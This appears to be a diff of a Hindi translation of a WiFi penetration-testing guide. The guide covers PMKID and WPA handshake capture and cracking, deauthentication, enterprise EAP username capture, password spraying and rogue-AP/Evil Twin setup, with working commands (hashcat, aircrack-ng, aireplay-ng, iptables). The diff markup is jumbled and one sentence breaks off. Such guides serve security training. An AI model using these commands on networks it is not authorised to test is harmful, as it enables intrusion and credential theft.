अब, कैप्चर को **hashcat/john** फॉर्मेट में बदलें और इसे क्रैक करें:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
|
@ -335,10 +335,12 @@ hccap2john pmkid.hccapx > handshake.john
|
|||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
मैंने देखा है कि इस टूल से कैप्चर किए गए कुछ हैंडशेक्स को तब भी क्रैक नहीं किया जा सका जब सही पासवर्ड मालूम हो। मैं सलाह दूंगा कि यदि संभव हो तो हैंडशेक्स को पारंपरिक तरीके से भी कैप्चर करें, या इस टूल का उपयोग करके उन्हें कई बार कैप्चर करें।
|
||||
|
||||
### हैंडशेक कैप्चर
|
||||
|
||||
**WPA/WPA2** नेटवर्क्स पर हमला करने का एक तरीका हैंडशेक को कैप्चर करना और इस्तेमाल किए गए पासवर्ड को **ऑफलाइन** **क्रैक** करने की कोशिश करना है। ऐसा करने के लिए आपको **पीड़ित** नेटवर्क के **BSSID** और **चैनल** का पता लगाना होगा, और एक **क्लाइंट** जो नेटवर्क से जुड़ा हुआ है।\
|
||||
एक बार जब आपके पास वह जानकारी हो जाती है तो आपको उस **BSSID** के सभी संचार को उस **चैनल** पर **सुनना** शुरू करना होगा, क्योंकि आशा है कि हैंडशेक वहां भेजा जाएगा:
|
||||
**WPA/WPA2** नेटवर्क्स पर हमला करने का एक तरीका हैंडशेक को कैप्चर करना और इस्तेमाल किए गए पासवर्ड को **ऑफलाइन** क्रैक करने की कोशिश करना है। ऐसा करने के लिए आपको **पीड़ित** नेटवर्क के **BSSID** और **चैनल** का पता लगाना होगा, और एक **क्लाइंट** जो नेटवर्क से जुड़ा हुआ है।\
|
||||
एक बार जब आपके पास वह जानकारी हो जाए, तो आपको उस **BSSID** के सभी संचार को उस **चैनल** पर **सुनना** शुरू करना होगा, क्योंकि आशा है कि हैंडशेक वहां भेजा जाएगा:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
|
@ -346,13 +348,13 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
|
|||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
||||
```
|
||||
ध्यान दें कि जब क्लाइंट को डीऑथेंटिकेट किया गया तो वह एक अलग AP से या, अन्य मामलों में, एक अलग नेटवर्क से कनेक्ट होने की कोशिश कर सकता है।
|
||||
ध्यान दें कि जैसे ही क्लाइंट को डीऑथेंटिकेट किया गया, वह एक अलग AP से या, अन्य मामलों में, एक अलग नेटवर्क से कनेक्ट होने की कोशिश कर सकता है।
|
||||
|
||||
एक बार `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देने लगे, इसका मतलब है कि हैंडशेक कैप्चर कर लिया गया है और आप सुनना बंद कर सकते हैं:
|
||||
`airodump-ng` में एक बार हैंडशेक की जानकारी दिखाई देने लगे, इसका मतलब है कि हैंडशेक कैप्चर कर लिया गया है और आप सुनना बंद कर सकते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
एक बार हैंडशेक कैप्चर हो जाने के बाद आप इसे `aircrack-ng` के साथ **क्रैक** कर सकते हैं:
|
||||
हैंडशेक कैप्चर हो जाने के बाद आप इसे `aircrack-ng` के साथ **क्रैक** कर सकते हैं:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
|
@ -370,37 +372,37 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
|||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_यदि यह उपकरण किसी ESSID के अपूर्ण हैंडशेक को पूर्ण होने से पहले पाता है, तो यह वैध वाले का पता नहीं लगाएगा।_
|
||||
_यदि यह टूल किसी ESSID के अपूर्ण हैंडशेक को पूर्ण होने से पहले पाता है, तो यह वैध हैंडशेक का पता नहीं लगाएगा।_
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
apt-get install pyrit #Not working for newer versions of kali
|
||||
pyrit -r psk-01.cap analyze
|
||||
```
|
||||
## **WPA Enterprise (MGT)**
|
||||
## **WPA एंटरप्राइज (MGT)**
|
||||
|
||||
**यह** उन **विभिन्न प्रमाणीकरण विधियों** के बारे में बात करना महत्वपूर्ण है जो एक उद्यम Wifi द्वारा उपयोग की जा सकती हैं। इस प्रकार के Wifis के लिए आपको `airodump-ng` में कुछ इस तरह का दिखाई दे सकता है:
|
||||
**यह** उल्लेख करना महत्वपूर्ण है कि एंटरप्राइज Wifi द्वारा उपयोग किए जा सकने वाले **विभिन्न प्रमाणीकरण विधियों** के बारे में। इस प्रकार के Wifis के लिए आपको `airodump-ng` में कुछ इस तरह का दिखाई दे सकता है:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
**EAP** (Extensible Authentication Protocol) प्रमाणीकरण संचार की **खोपड़ी** है, इसके ऊपर, एक **प्रमाणीकरण एल्गोरिदम** का उपयोग सर्वर द्वारा **क्लाइंट** (**सप्लिकेंट**) को प्रमाणित करने के लिए और कुछ मामलों में क्लाइंट द्वारा सर्वर को प्रमाणित करने के लिए किया जाता है।\
|
||||
**EAP** (Extensible Authentication Protocol) प्रमाणीकरण संचार की **खोपड़ी** है, इसके ऊपर, एक **प्रमाणीकरण एल्गोरिदम** का उपयोग सर्वर द्वारा **क्लाइंट** (**सप्लिकेंट**) को प्रमाणित करने और कुछ मामलों में क्लाइंट द्वारा सर्वर को प्रमाणित करने के लिए किया जाता है।\
|
||||
इस मामले में प्रयुक्त मुख्य प्रमाणीकरण एल्गोरिदम:
|
||||
|
||||
* **EAP-GTC:** EAP-PEAP के साथ हार्डवेयर टोकन और एक-बार के पासवर्ड के उपयोग का समर्थन करने के लिए एक EAP विधि है। इसका कार्यान्वयन MSCHAPv2 के समान है, लेकिन यह पीयर चैलेंज का उपयोग नहीं करता है। इसके बजाय, पासवर्ड **plaintext** में एक्सेस पॉइंट को भेजे जाते हैं (डाउनग्रेड हमलों के लिए बहुत दिलचस्प)।
|
||||
* **EAP-GTC:** EAP-PEAP के साथ हार्डवेयर टोकन और एक-बार के पासवर्ड के उपयोग का समर्थन करने के लिए एक EAP विधि है। इसका कार्यान्वयन MSCHAPv2 के समान है, लेकिन इसमें पीयर चैलेंज का उपयोग नहीं होता है। इसके बजाय, पासवर्ड **plaintext** में एक्सेस पॉइंट को भेजे जाते हैं (डाउनग्रेड हमलों के लिए बहुत दिलचस्प)।
|
||||
* **EAP-MD-5 (Message Digest)**: क्लाइंट पासवर्ड का MD5 हैश भेजता है। **अनुशंसित नहीं**: शब्दकोश हमलों के लिए संवेदनशील, कोई सर्वर प्रमाणीकरण नहीं और प्रति सत्र वायर्ड समकक्ष गोपनीयता (WEP) कुंजियाँ उत्पन्न करने का कोई तरीका नहीं।
|
||||
* **EAP-TLS (Transport Layer Security)**: यह **क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों** पर निर्भर करता है प्रमाणीकरण करने के लिए और बाद के संचारों को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजियों को गतिशील रूप से उत्पन्न करने के लिए उपयोग किया जा सकता है।
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: **आपसी प्रमाणीकरण** क्लाइंट और नेटवर्क का एक एन्क्रिप्टेड चैनल (या टनल) के माध्यम से, साथ ही प्रति-उपयोगकर्ता, प्रति-सत्र WEP कुंजियों को व्युत्पन्न करने का एक साधन। EAP-TLS के विपरीत, **EAP-TTLS केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है (क्लाइंट क्रेडेंशियल्स का उपयोग करेगा)**।
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP **EAP** प्रोटोकॉल की तरह है लेकिन एक **TLS टनल** बनाकर संचार की रक्षा करता है। फिर, कमजोर प्रमाणीकरण प्रोटोकॉल EAP के ऊपर उपयोग किए जा सकते हैं क्योंकि वे टनल द्वारा संरक्षित होंगे।
|
||||
* **PEAP-MSCHAPv2**: यह भी केवल **PEAP** के रूप में जाना जाता है क्योंकि यह व्यापक रूप से अपनाया गया है। यह सिर्फ PEAP के ऊपर कहा जाने वाला MSCHAPv2 का चुनौती/प्रतिक्रिया है (यह TLS टनल द्वारा संरक्षित है)।
|
||||
* **PEAP-EAP-TLS या सिर्फ PEAP-TLS**: यह **EAP-TLS** के समान है लेकिन प्रमाणपत्रों के आदान-प्रदान से पहले एक TLS टनल बनाया जाता है।
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: क्लाइंट और नेटवर्क का **पारस्परिक प्रमाणीकरण** एक एन्क्रिप्टेड चैनल (या सुरंग) के माध्यम से, साथ ही प्रति-उपयोगकर्ता, प्रति-सत्र WEP कुंजियों को व्युत्पन्न करने का एक साधन। EAP-TLS के विपरीत, **EAP-TTLS केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है (क्लाइंट क्रेडेंशियल्स का उपयोग करेगा)**।
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP **EAP** प्रोटोकॉल की तरह है लेकिन संचार की रक्षा के लिए एक **TLS सुरंग** बनाता है। फिर, कमजोर प्रमाणीकरण प्रोटोकॉल EAP के ऊपर उपयोग किए जा सकते हैं क्योंकि वे सुरंग द्वारा संरक्षित होंगे।
|
||||
* **PEAP-MSCHAPv2**: इसे आमतौर पर केवल **PEAP** के रूप में जाना जाता है क्योंकि यह व्यापक रूप से अपनाया गया है। यह सिर्फ चुनौती/प्रतिक्रिया कहा जाने वाला MSCHAPv2 PEAP के ऊपर है (यह TLS सुरंग द्वारा संरक्षित है)।
|
||||
* **PEAP-EAP-TLS या सिर्फ PEAP-TLS**: यह **EAP-TLS** के समान है लेकिन प्रमाणपत्रों के आदान-प्रदान से पहले एक TLS सुरंग बनाई जाती है।
|
||||
|
||||
इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी आप [यहाँ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) और [यहाँ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) पा सकते हैं।
|
||||
|
||||
### उपयोगकर्ता नाम कैप्चर
|
||||
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) पढ़ने पर यह प्रतीत होता है कि यदि आप **EAP** का उपयोग कर रहे हैं तो **"Identity"** **संदेशों** का समर्थन **किया जाना चाहिए**, और **उपयोगकर्ता नाम** **"Response Identity"** संदेशों में **स्पष्ट** रूप से भेजा जाएगा।
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) पढ़ने पर ऐसा प्रतीत होता है कि यदि आप **EAP** का उपयोग कर रहे हैं तो **"Identity"** **संदेशों** का समर्थन **किया जाना चाहिए**, और **उपयोगकर्ता नाम** **"Response Identity"** संदेशों में **स्पष्ट** रूप से भेजा जाएगा।
|
||||
|
||||
यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते हुए, EAP प्रोटोकॉल में भेजे गए उपयोगकर्ता नाम को **कैप्चर करना संभव** है। ऐसा करने के लिए, **प्रमाणीकरण संचार को कैप्चर करें** (एक चैनल के अंदर `airodump-ng` शुरू करें और समान इंटरफेस में `wireshark`) और पैकेट्स को `eapol` द्वारा फ़िल्टर करें।\
|
||||
यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते समय, EAP प्रोटोकॉल में भेजे गए उपयोगकर्ता नाम को **कैप्चर करना संभव** है। ऐसा करने के लिए, **प्रमाणीकरण संचार को कैप्चर करें** (एक चैनल के अंदर `airodump-ng` शुरू करें और उसी इंटरफेस में `wireshark` का उपयोग करें) और पैकेट्स को `eapol` द्वारा फ़िल्टर करें।\
|
||||
"**Response, Identity**" पैकेट के अंदर, क्लाइंट का **उपयोगकर्ता नाम** दिखाई देगा।
|
||||
|
||||
![](<../../.gitbook/assets/image (150).png>)
|
||||
|
@ -409,19 +411,19 @@ pyrit -r psk-01.cap analyze
|
|||
|
||||
(जानकारी [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) से ली गई है)
|
||||
|
||||
**EAP-PEAP और EAP-TTLS दोनों पहचान छिपाने का समर्थन करते हैं**। एक WiFi वातावरण में, एक्सेस पॉइंट (AP) आमतौर पर संघ की प्रक्रिया के भाग के रूप में एक EAP-Identity अनुरोध उत्पन्न करता है। गुमनामी को बनाए रखने के लिए, उपयोगकर्ता की प्रणाली पर EAP क्लाइंट पहले हॉप RADIUS सर्वर को अनुरोध को संसाधित करने के लिए पर्याप्त जानकारी के साथ केवल प्रतिक्रिया दे सकता है, निम्नलिखित उदाहरणों में दिखाया गया है।
|
||||
**EAP-PEAP और EAP-TTLS दोनों पहचान छिपाने का समर्थन करते हैं**। एक WiFi वातावरण में, एक्सेस पॉइंट (AP) आमतौर पर संघ की प्रक्रिया के भाग के रूप में एक EAP-Identity अनुरोध उत्पन्न करता है। गुमनामी को बनाए रखने के लिए, EAP क्लाइंट उपयोगकर्ता के सिस्टम पर केवल पर्याप्त जानकारी के साथ प्रतिक्रिया दे सकता है ताकि पहले हॉप RADIUS सर्वर अनुरोध को संसाधित कर सके, निम्नलिखित उदाहरणों में दिखाया गया है।
|
||||
|
||||
* _**EAP-Identity = anonymous**_
|
||||
|
||||
> इस उदाहरण में, सभी उपयोगकर्ता "anonymous" के पसंदीदा-उपयोगकर्ता-नाम को साझा करेंगे। पहले हॉप RADIUS सर्वर एक EAP-PEAP या EAP-TTLS सर्वर है जो PEAP या TTLS प्रोटोकॉल के सर्वर अंत को चलाता है। फिर, आंतरिक (संरक्षित) प्रमाणीकरण प्रकार या तो स्थानीय रूप से संभाला जाएगा या एक दूरस्थ (घरेलू) RADIUS सर्वर को प्रॉक्सी किया जाएगा।
|
||||
> इस उदाहरण में, सभी उपयोगकर्ता "anonymous" नामक प्रतीक-उपयोगकर्ता-नाम को साझा करेंगे। पहले हॉप RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर है जो PEAP या TTLS प्रोटोकॉल के सर्वर अंत को चलाता है। फिर, आंतरिक (संरक्षित) प्रमाणीकरण प्रकार या तो स्थानीय रूप से संभाला जाएगा या एक दूरस्थ (घरेलू) RADIUS सर्वर को प्रॉक्सी किया जाएगा।
|
||||
|
||||
* _**EAP-Identity = anonymous@realm_x**_
|
||||
|
||||
> इस उदाहरण में, विभिन्न राज्यों के उपयोगकर्ता अपनी पहचान छिपाते हैं लेकिन यह संकेत देते हैं कि वे किस राज्य से संबंधित हैं ताकि पहले हॉप RADIUS सर्वर उनके घरेलू राज्यों में RADIUS सर्वरों को EAP-PEAP या EAP-TTLS अनुरोधों को प्रॉक्सी कर सकें जो PEAP या TTLS सर्वर के रूप में कार्य करेंगे। पहले हॉप सर्वर शुद्ध रूप से एक RADIUS रिले नोड के रूप में कार्य करता है।
|
||||
> इस उदाहरण में, विभिन्न राज्यों के उपयोगकर्ता अपनी पहचान छिपाते हैं लेकिन यह संकेत देते हैं कि वे किस राज्य के हैं ताकि पहले हॉप RADIUS सर्वर EAP-PEAP या EAP-TTLS अनुरोधों को उनके घरेलू राज्यों में RADIUS सर्वरों को प्रॉक्सी कर सके जो PEAP या TTLS सर्वर के रूप में कार्य करेंगे। पहले हॉप सर्वर शुद्ध रूप से एक RADIUS रिले नोड के रूप में कार्य करता है।
|
||||
>
|
||||
> वैकल्पिक रूप से, पहले हॉप सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो संरक्षित प्रमाणीकरण विधि को संसाधित कर सकता है या इसे दूसरे सर्वर को प्रॉक्सी कर सकता है। इस विकल्प का उपयोग विभिन्न राज्यों के लिए विभिन्न नीतियों को कॉन्फ़िगर करने के लिए किया जा सकता है।
|
||||
|
||||
EAP-PEAP में, एक बार PEAP सर्वर और PEAP क्लाइंट TLS टनल स्थापित कर लेते हैं, PEAP सर्वर एक EAP-Identity अनुरोध उत्पन्न करता है और इसे TLS टनल के नीचे प्रसारित करता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का जवाब देता है उपयोगकर्ता की सच्ची पहचान वाले EAP-Identity प्रतिक्रिया को एन्क्रिप्टेड टनल के नीचे भेजकर। यह 802.11 ट्रैफ़िक पर जासूसी करने वाले किसी भी व्यक्ति को उपयोगकर्ता की सच्ची पहचान का पता लगाने से रोकता है।
|
||||
EAP-PEAP में, एक बार PEAP सर्वर और PEAP क्लाइंट TLS सुरंग स्थापित कर लेते हैं, PEAP सर्वर एक EAP-Identity अनुरोध उत्पन्न करता है और इसे TLS सुरंग के नीचे प्रसारित करता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का जवाब देता है उपयोगकर्ता की सच्ची पहचान वाले EAP-Identity प्रतिक्रिया को एन्क्रिप्टेड सुरंग के नीचे भेजकर। यह 802.11 ट्रैफिक पर जासूसी करने वाले किसी को भी उपयोगकर्ता की सच्ची पहचान का पता लगाने से
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
|
@ -433,33 +435,33 @@ EAP-PEAP में, एक बार PEAP सर्वर और PEAP क्ल
|
|||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## क्लाइंट हमले का सिद्धांत
|
||||
## क्लाइंट अटैक्स सिद्धांत
|
||||
|
||||
### नेटवर्क चयन और रोमिंग
|
||||
|
||||
हालांकि 802.11 प्रोटोकॉल में बहुत विशिष्ट नियम हैं जो निर्धारित करते हैं कि एक स्टेशन कैसे एक ESS से जुड़ सकता है, यह निर्दिष्ट नहीं करता है कि स्टेशन को किस ESS से कनेक्ट करना चाहिए। इसके अलावा, प्रोटोकॉल स्टेशनों को उन एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है जो एक ही ESSID साझा करते हैं (क्योंकि आप एक इमारत के एक छोर से दूसरे छोर तक चलते समय WiFi कनेक्टिविटी खोना नहीं चाहेंगे, आदि)। हालांकि, 802.11 प्रोटोकॉल यह निर्दिष्ट नहीं करता है कि इन एक्सेस पॉइंट्स का चयन कैसे किया जाना चाहिए। इसके अतिरिक्त, भले ही स्टेशनों को ESS के प्रति प्रमाणित होना चाहिए ताकि वे एक एक्सेस पॉइंट से जुड़ सकें, 802.11 प्रोटोकॉल यह आवश्यक नहीं करता है कि एक्सेस पॉइंट को स्टेशन के प्रति प्रमाणित किया जाए।
|
||||
हालांकि 802.11 प्रोटोकॉल में बहुत विशिष्ट नियम हैं जो निर्धारित करते हैं कि कैसे एक स्टेशन किसी ESS से जुड़ सकता है, यह निर्दिष्ट नहीं करता कि स्टेशन को किस ESS से कनेक्ट करना चाहिए। इसके अलावा, प्रोटोकॉल स्टेशनों को उन एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है जो एक ही ESSID साझा करते हैं (क्योंकि आप एक इमारत के एक छोर से दूसरे छोर तक चलते समय WiFi कनेक्टिविटी खोना नहीं चाहेंगे, आदि)। हालांकि, 802.11 प्रोटोकॉल यह निर्दिष्ट नहीं करता कि इन एक्सेस पॉइंट्स का चयन कैसे किया जाना चाहिए। इसके अतिरिक्त, भले ही स्टेशनों को ESS के प्रमाणित होने की आवश्यकता होती है ताकि वे किसी एक्सेस पॉइंट से जुड़ सकें, 802.11 प्रोटोकॉल यह आवश्यक नहीं करता कि एक्सेस पॉइंट को स्टेशन के प्रति प्रमाणित किया जाए।
|
||||
|
||||
### पसंदीदा नेटवर्क सूचियां (PNLs)
|
||||
|
||||
जब भी एक स्टेशन वायरलेस नेटवर्क से जुड़ता है, नेटवर्क का ESSID स्टेशन की पसंदीदा नेटवर्क सूची (PNL) में संग्रहीत हो जाता है। PNL उन सभी नेटवर्कों की एक क्रमबद्ध सूची है जिससे स्टेशन अतीत में जुड़ चुका है, और PNL में प्रत्येक प्रविष्टि में नेटवर्क का ESSID और किसी भी नेटवर्क-विशिष्ट कॉन्फ़िगरेशन जानकारी शामिल होती है जो कनेक्शन स्थापित करने के लिए आवश्यक होती है।
|
||||
जब भी कोई स्टेशन किसी वायरलेस नेटवर्क से जुड़ता है, नेटवर्क का ESSID स्टेशन की पसंदीदा नेटवर्क सूची (PNL) में संग्रहीत हो जाता है। PNL उन सभी नेटवर्कों की एक क्रमबद्ध सूची है जिससे स्टेशन अतीत में जुड़ चुका है, और PNL में प्रत्येक प्रविष्टि में नेटवर्क का ESSID और कनेक्शन स्थापित करने के लिए आवश्यक किसी भी नेटवर्क-विशिष्ट कॉन्फ़िगरेशन जानकारी होती है।
|
||||
|
||||
### पैसिव स्कैनिंग
|
||||
|
||||
इन्फ्रास्ट्रक्चर नेटवर्क में, एक्सेस पॉइंट्स नियमित रूप से बीकन फ्रेम्स का प्रसारण करते हैं ताकि वे अपनी उपस्थिति और क्षमताओं को नजदीकी स्टेशनों को विज्ञापित कर सकें। बीकन्स ब्रॉडकास्ट फ्रेम्स होते हैं, जिसका अर्थ है कि वे सभी नजदीकी स्टेशनों द्वारा प्राप्त किए जाने के लिए होते हैं। बीकन्स में AP की समर्थित दरों, एन्क्रिप्शन क्षमताओं, अतिरिक्त जानकारी, और सबसे महत्वपूर्ण, बीकन फ्रेम्स में AP का ESSID शामिल होता है (जब तक ESSID प्रसारण अक्षम नहीं होता है)।
|
||||
इंफ्रास्ट्रक्चर नेटवर्कों में, एक्सेस पॉइंट्स अवधिक रूप से बीकन फ्रेम्स का प्रसारण करते हैं ताकि वे अपनी उपस्थिति और क्षमताओं को निकटवर्ती स्टेशनों को विज्ञापित कर सकें। बीकन्स ब्रॉडकास्ट फ्रेम्स होते हैं, जिसका अर्थ है कि वे सभी निकटवर्ती स्टेशनों द्वारा प्राप्त किए जाने के लिए इरादा होते हैं। बीकन्स में AP की समर्थित दरों, एन्क्रिप्शन क्षमताओं, अतिरिक्त जानकारी, और सबसे महत्वपूर्ण, बीकन फ्रेम्स में AP का ESSID होता है (जब तक ESSID प्रसारण अक्षम नहीं होता)।
|
||||
|
||||
पैसिव स्कैनिंग के दौरान, क्लाइंट डिवाइस नजदीकी एक्सेस पॉइंट्स से बीकन फ्रेम्स के लिए सुनता है। यदि क्लाइंट डिवाइस को एक बीकन फ्रेम प्राप्त होता है जिसका ESSID फील्ड क्लाइंट के PNL में एक ESSID से मेल खाता है, तो क्लाइंट स्वचालित रूप से उस एक्सेस पॉइंट से जुड़ जाएगा जिसने बीकन फ्रेम भेजा था। फिर, मान लीजिए हम किसी वायरलेस डिवाइस को लक्षित करना चाहते हैं जो वर्तमान में किसी भी वायरलेस से जुड़ा नहीं है। यदि हम उस क्लाइंट के PNL में कम से कम एक प्रविष्टि जानते हैं, तो हम केवल उस प्रविष्टि के ESSID के साथ अपना खुद का एक्सेस पॉइंट बनाकर क्लाइंट को हमसे जुड़ने के लिए मजबूर कर सकते हैं।
|
||||
पैसिव स्कैनिंग के दौरान, क्लाइंट डिवाइस निकटवर्ती एक्सेस पॉइंट्स से बीकन फ्रेम्स के लिए सुनता है। यदि क्लाइंट डिवाइस को एक बीकन फ्रेम प्राप्त होता है जिसका ESSID फील्ड क्लाइंट के PNL में एक ESSID से मेल खाता है, तो क्लाइंट स्वचालित रूप से उस एक्सेस पॉइंट से जुड़ जाएगा जिसने बीकन फ्रेम भेजा था। फिर, मान लीजिए हम किसी वायरलेस डिवाइस को लक्षित करना चाहते हैं जो वर्तमान में किसी भी वायरलेस से जुड़ा नहीं है। यदि हम उस क्लाइंट के PNL में कम से कम एक प्रविष्टि जानते हैं, तो हम केवल उस प्रविष्टि के ESSID के साथ अपना खुद का एक्सेस पॉइंट बनाकर क्लाइंट को हमसे जुड़ने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
### सक्रिय प्रोबिंग
|
||||
|
||||
802.11 में उपयोग की जाने वाली दूसरी नेटवर्क चयन एल्गोरिथम को सक्रिय प्रोबिंग के रूप में जाना जाता है। सक्रिय प्रोबिंग का उपयोग करने वाले क्लाइंट डिवाइस लगातार प्रोब अनुरोध फ्रेम्स का प्रसारण करते हैं ताकि यह निर्धारित किया जा सके कि कौन से APs रेंज में हैं, साथ ही उनकी क्षमताएं क्या हैं। प्रोब अनुरोध दो रूपों में आते हैं: निर्देशित और ब्रॉडकास्ट। निर्देशित प्रोब अनुरोध एक विशिष्ट ESSID के लिए पता लगाए जाते हैं, और यह क्लाइंट का तरीका होता है यह जांचने का कि क्या एक विशिष्ट नेटवर्क नजदीक है।
|
||||
802.11 में उपयोग की जाने वाली दूसरी नेटवर्क चयन एल्गोरिदम को सक्रिय प्रोबिंग के रूप में जाना जाता है। सक्रिय प्रोबिंग का उपयोग करने वाले क्लाइंट डिवाइस लगातार प्रोब अनुरोध फ्रेम्स का प्रसारण करते हैं ताकि यह निर्धारित किया जा सके कि कौन से APs रेंज में हैं, साथ ही उनकी क्षमताएं क्या हैं। प्रोब अनुरोध दो रूपों में आते हैं: निर्देशित और ब्रॉडकास्ट। निर्देशित प्रोब अनुरोध एक विशिष्ट ESSID के लिए पता लगाए जाते हैं, और यह क्लाइंट का तरीका होता है यह जांचने का कि कोई विशिष्ट नेटवर्क निकट है या नहीं।
|
||||
|
||||
निर्देशित प्रोबिंग का उपयोग करने वाले क्लाइंट्स अपनी PNL में प्रत्येक नेटवर्क के लिए प्रोब अनुरोध भेजेंगे। यह ध्यान दिया जाना चाहिए कि निर्देशित प्रोबिंग नजदीकी छिपे हुए नेटवर्कों की उपस्थिति की पहचान करने का एकमात्र तरीका है। ब्रॉडकास्ट प्रोब अनुरोध लगभग ठीक उसी तरह काम करते हैं, लेकिन SSID फील्ड को NULL पर सेट किया जाता है। यह ब्रॉडकास्ट प्रोब को सभी नजदीकी एक्सेस पॉइंट्स के लिए पता लगाता है, जिससे स्टेशन यह जांच सकता है कि क्या उसके पसंदीदा नेटवर्क नजदीक हैं बिना अपनी PNL की सामग्री का खुलासा किए।
|
||||
निर्देशित प्रोबिंग का उपयोग करने वाले क्लाइंट अपनी PNL में प्रत्येक नेटवर्क के लिए प्रोब अनुरोध भेजेंगे। यह ध्यान दिया जाना चाहिए कि निर्देशित प्रोबिंग निकटवर्ती छिपे हुए नेटवर्कों की उपस्थिति की पहचान करने का एकमात्र तरीका है। ब्रॉडकास्ट प्रोब अनुरोध लगभग ठीक उसी तरह काम करते हैं, लेकिन SSID फील्ड को NULL पर सेट किया जाता है। यह सभी निकटवर्ती एक्सेस पॉइंट्स को ब्रॉडकास्ट प्रोब को पता लगाता है, जिससे स्टेशन अपनी पसंदीदा नेटवर्कों की जांच कर सकता है बिना अपनी PNL की सामग्री का खुलासा किए।
|
||||
|
||||
## इंटरनेट के लिए रीडायरेक्शन के साथ सिंपल AP
|
||||
|
||||
अधिक जटिल हमलों को कैसे करें इसकी व्याख्या करने से पहले यह बताया जाएगा **कैसे** केवल एक **AP** **बनाने** के लिए और इसके **ट्रैफिक** को इंटरनेट से जुड़े इंटरफेस पर **रीडायरेक्ट** करने के लिए।
|
||||
अधिक जटिल हमलों को कैसे करें इसकी व्याख्या करने से पहले यह बताया जाएगा कि कैसे केवल एक **AP** **बनाने** के लिए और इसके **ट्रैफिक** को इंटरनेट से जुड़े इंटरफेस पर **रीडायरेक्ट** करने के लिए।
|
||||
|
||||
`ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़ा इंटरफेस मौजूद हैं।
|
||||
`ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़ा इंटरफेस उपस्थित हैं।
|
||||
|
||||
### DHCP & DNS
|
||||
```bash
|
||||
|
@ -521,33 +523,33 @@ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
|||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## ईविल ट्विन
|
||||
## Evil Twin
|
||||
|
||||
ईविल ट्विन हमला एक प्रकार का वाई-फाई हमला है जो इस तथ्य का फायदा उठाकर काम करता है कि अधिकांश कंप्यूटर और फोन केवल वायरलेस नेटवर्क का "नाम" या ESSID देखेंगे (क्योंकि बेस स्टेशन को क्लाइंट के खिलाफ प्रमाणित करने की आवश्यकता नहीं होती)। इससे वास्तव में उन नेटवर्कों के बीच अंतर करना बहुत कठिन हो जाता है जिनका नाम और एन्क्रिप्शन का प्रकार समान होता है। वास्तव में, कई नेटवर्कों में कई नेटवर्क-विस्तारक एक्सेस पॉइंट होते हैं जो उपयोगकर्ताओं को भ्रमित किए बिना पहुंच को विस्तारित करने के लिए एक ही नाम का उपयोग करते हैं।
|
||||
